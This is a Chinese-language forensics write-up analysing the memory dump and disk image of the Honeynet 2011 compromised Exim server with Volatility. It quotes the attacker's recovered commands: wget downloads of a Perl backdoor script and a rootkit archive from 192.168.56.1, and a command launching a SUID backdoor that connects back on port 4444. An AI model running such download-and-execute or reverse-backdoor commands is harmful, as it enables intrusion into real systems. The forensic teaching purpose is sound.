第一次 按照大神的博客,完成这个实验,希望后来者,少入点坑

工具介绍:volatility

volatility是一款开源的内存取证分析工具,由python编写,支持各种操作系统。可以通过插件来拓展功能。kali下集成了该工具,命令行输入volatility使用该工具。

Volatility‐f [image]­-‐profile=[profile]

[plugin]

--info查看扫描检查、插件、地址空间等信息

-h查看帮助信息

[plugin]–h指定插件的帮助信息

--output-file=[file]检查结果输出

实验镜像:

我们在这里即将分析的镜像是Challenge 7 of the Forensic Challenge 2011–Forensic

Analysis of a Compromised Server的题目,我们可以在https://www.honeynet.org/challenges/2011_7_compromised_server这下载到相应的镜像文件。

注意:三个都要下载。

第一步分析镜像文件

分析镜像文件,我们可以通过挂载的方式,来确定镜像的系统的版本,我们才可以制作相应的profile,或者搜索相应的profile。

我们先挂载镜像mount -o loop victoria-v8.sda1.img /mnt将镜像挂载到/mnt。

切换到/mnt目录

cd /mnt

我们可以看到相应的系统文件。

cat /mnt/etc/issue

查看系统版本

镜像系统版本是Debian发行版5.0

在var/log目录下,

cat dmesg

系统内核版本是2.6.26。

PS:dmesg用来显示开机信息,kernel会将开机信息存储在ring

buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息亦保存在/var/log目录中,名称为dmesg的文件里。

第二步

获取相应profile

我们有两种方法获取profile。

第一,我们可以创建我们自己的profile。

Volatility自带一些windows系统的profile,Linux系统的Profile需要自己制作,制作的方法如下:

(实际是将module.dwarf和system.map打包成一个zip文件,接着将zip文件移动到volatility/plugins/overlays/linux/中。)

Linux的Profile文件是一个zip的压缩包。

第二,我们可以利用搜索引擎或者已公开的profile,例如,我们就可以看到一些已经公布的profile。我这里使用的是第二种方法,在公开的项目中找到了Debian 5.0的profile.参考网址:

紧接着,我们需要将profile放入对应的位置:

注意:坑:

kali2.0,中volatility已经安装了,这个profile的插件应该放在python的安装目录中,参考我的放置目录:

/usr/lib/python2.7/dist-packages/volatility/plugins/overlays/linux/

通过volatility --info测试

测试前

测试后

第三步

开始分析文件

volatility -f ./victoria-v8.sda1.img

--profile=LinuxDebian5010x86 -h

可以看到针对linux镜像的命令,以及相应功能介绍。

通过

volatility -f ./victoria-v8.memdump.img

--profile=LinuxDebian5010x86 linux_psaux

我们可以查看进程。

可疑连接

通过

volatility -f ./victoria-v8.memdump.img --profile=LinuxDebian5010x86

linux_netstat

我们可以查看各种网络相关信息,如网络连接,路由表,接口状态

等。

volatility -f ./victoria-v8.memdump.img  --profile=LinuxDebian5010x86 linux_bash

scp命令复制了exim4目录下的所有文件,

scp是linux系统下基于ssh登陆进行安全的远程文件拷贝命令。

我们在/mnt/var/log/exim4目录下的Exim reject log中看到,

Wget:下载并保存

wget http://192.168.56.1/c.pl -O /tmp/c.pl

wget http://192.168.56.1/rk.tar -O

/tmp/rk.tar; sleep 1000

查看两个文件

.pl的简单分析表明,它是一个perl脚本,用于创建一个c程序,该程序编译给支持SUID的可执行文件打开一个后门并向攻击者发送信息。

c.pl被下载,并且编译的SUID在端口4444中打开了一个到192.168.56.1的连接,如下所示:

wget http://192.168.56.1/c.pl -O /tmp/c.pl;

perl /tmp/c.pl 192.168.56.1 4444

继续回到bash分析:

python vol.py -f

./victoria-v8.memdump.img –profile=LinuxDebian5010x86 linux_bash

攻击者将 /dev/sda1整个dump下来,并通过 8888端口发送了出去。

Exim reject日志显示IP 192.168.56.101作为要发送邮件的主机:

abcde.com,owned.org和h0n3yn3t-pr0j3ct.com

python vol.py -f ./victoria-v8.memdump.img --profile=LinuxDebian5010x86 linux_netstat我们发现有两个已经关闭的连接。

基本上证明了,192.168.56.101也是一个攻击IP。

我们之后通过上面的信息,知道攻击者是通过Exim成功攻击了这台服务器。通过搜索exim相关的漏洞我们基本可以确定

攻击是CVE-2010-4344

此外,我们知道攻击者成功攻击了此台服务器

但是我们从cat /mnt/var/log/auth.log |grep Failed中看到攻击者一直尝试以Ulysses的账户名登录,却没登录成功。

总结:

•攻击者可能只是一个脚本小子,利用已有的cve公布了的exp进入到了系统并没有成功登录账户其次

通过分析,我们可以知道攻击的发起

以及结束 并且我们了解到攻击者简单尝试了登录账户32次后就放弃了。

kali 安装volatility_volatility取证学习-linux相关推荐

  1. 学习Linux第一次上课笔记

    一.配置IP地址 1.设置网络连接模式为NAT模式. 学习linux第二次上课笔记 2.获取IP地址,首先运行dhclinet服务,然后敲ip add进行查看,自动获取的IP地址. 学习linux第二 ...

  2. kali 安装volatility_电子取证技术之实战Volatility工具

    原标题:电子取证技术之实战Volatility工具 本文转载自公众号:安全龙 作者:beswing Volatility 的安装 这次讲的是在linux下的取证,所以我安装的也是linux平台下的Vo ...

  3. kali linux提示安装系统失败,kali“安装系统”失败分析及解决

    昨天打算把kali安装在硬盘上,因而便去下载了一个amd64位的1.06版本的kali linux.linux 而后就这样一直放着,过一段时间后,下载完成.我是放在D盘根目录,那时只有一个kali-l ...

  4. kali linux切换更新源_使用Xshell链接Linux、kali更换更新源及kali安装软件

    一.Xshell首次链接kali系统中的ssh Xshell:帮助我们去连接各种服务平台,方便管理服务器,链路可以加密处理(ssh/vsftp) 1.开启kali中的ssh服务,service ssh ...

  5. linux 安装jeakens_Chapter 2. OpenSSL的安装和配置学习笔记

    Chapter 2. OpenSSL的安装和配置学习笔记 2.1 在linux上面安装OpenSSL 我还是做点No paper事情比较在行,正好和老师的课程接轨一下. 以前尝试过在Windows上面 ...

  6. linux access源码,从零开始学习Linux:Day04 源码安装Nginx 。acess/status/referer

    从零开始学习Linux:Day04 源码安装Nginx .acess/status/referer 常见web服务器有IIS,apche,nginx,tomcat,tengine等等,现在nginx使 ...

  7. 使用VMware安装系统Window、Linux、Mac操作系统(kali)

    使用VMware安装系统Window.Linux.Mac操作系统 下载镜像文件 打开VMware 下载镜像文件地址或链接: Windows全家桶镜像文件下载网站:msdn.itellyou.cn Wi ...

  8. kali安装卡在最后一步_windows下 安装Kali Linux到 U盘的方法-维码

    作者:玄魂工作室 2020年11月07日2020年11月07日 把Kali Linux安装到U盘好处很多,可以从U盘启动使用整个电脑的硬件资源, 可以随身携带,减少对自己电脑的影响. 今天要给大家讲的 ...

  9. kali安装卡在最后一步_手机端(安卓)安装 Kali Linux 系统详细教程

    前言 之前写有文章介绍过关于 Kali Linux 系统安装的详细教程,不过是在电脑端真机或虚拟机中的安装步骤,那么作为平时使用最多并且能方便携带的智能手机端,是否有方法或技术来实现安装呢?还确实有, ...

最新文章

  1. Java IO流学习总结四:缓冲流-BufferedReader、BufferedWriter
  2. filter函数的用法_这几个超牛函数,你的Excel里有没有?
  3. 【必备】jQuery性能优化的38个建议
  4. Capistrano3 与 Mina
  5. 水滴石穿C语言之正确使用const
  6. python3高级 一 迭代器
  7. PAT 乙级 1011. A+B和C (15) Java版
  8. SAP漏洞:为什么补丁没有发挥作用?
  9. JM8.6之erc_api.c文件初探
  10. php构建的开源的淘宝客cms程序下载地址总结,采集插件小程序等
  11. C语言题目教室数量编程,北京理工大学网教室C语言编程题库及答案(绝对经典).doc...
  12. 计算机制图总结,计算机制图总结.doc
  13. DUKE大学BOE数据集 OCT图像积液分割/层分割数据集
  14. 计算机本地无法连接失败怎么办,本地连接连不上,小编教你电脑本地连接连不上怎么解决...
  15. Android超声波识别技术,超声波指纹识别or光学指纹识别?屏下指纹识别技术大比拼-传感技术-与非网...
  16. Go语言编程笔记16:存储数据
  17. 龙泉寺贤超法师:用AI为古籍经书识别、断句、翻译
  18. VMware打开VMDK格式文件
  19. 北航2018计算机学院录取名单,【北航2018年拟录取硕士研究生名单公示】- 环球网校...
  20. Clang与GCC的区别

热门文章

  1. 小程序input获得焦点触发_小程序如何获得种子用户,微信9亿月活用户来教你!...
  2. ASP.NET MVC 简单的分页思想与实现
  3. javascript基础07
  4. 【11_83】Remove Duplicates from Sorted List
  5. 关于Dictionary字典和List列表
  6. 深入 理解 Statement 和 PreparedStatement 【转】
  7. java 信号量 countdown_Java计数器之CountDownLatch、CyclicBarrier、Semaphore
  8. 【python数据挖掘课程】二十四.KMeans文本聚类分析互动百科语料
  9. 【数据结构与算法】之深入解析“石子游戏II”的求解思路与算法示例
  10. iOS之深入解析如何构建静态库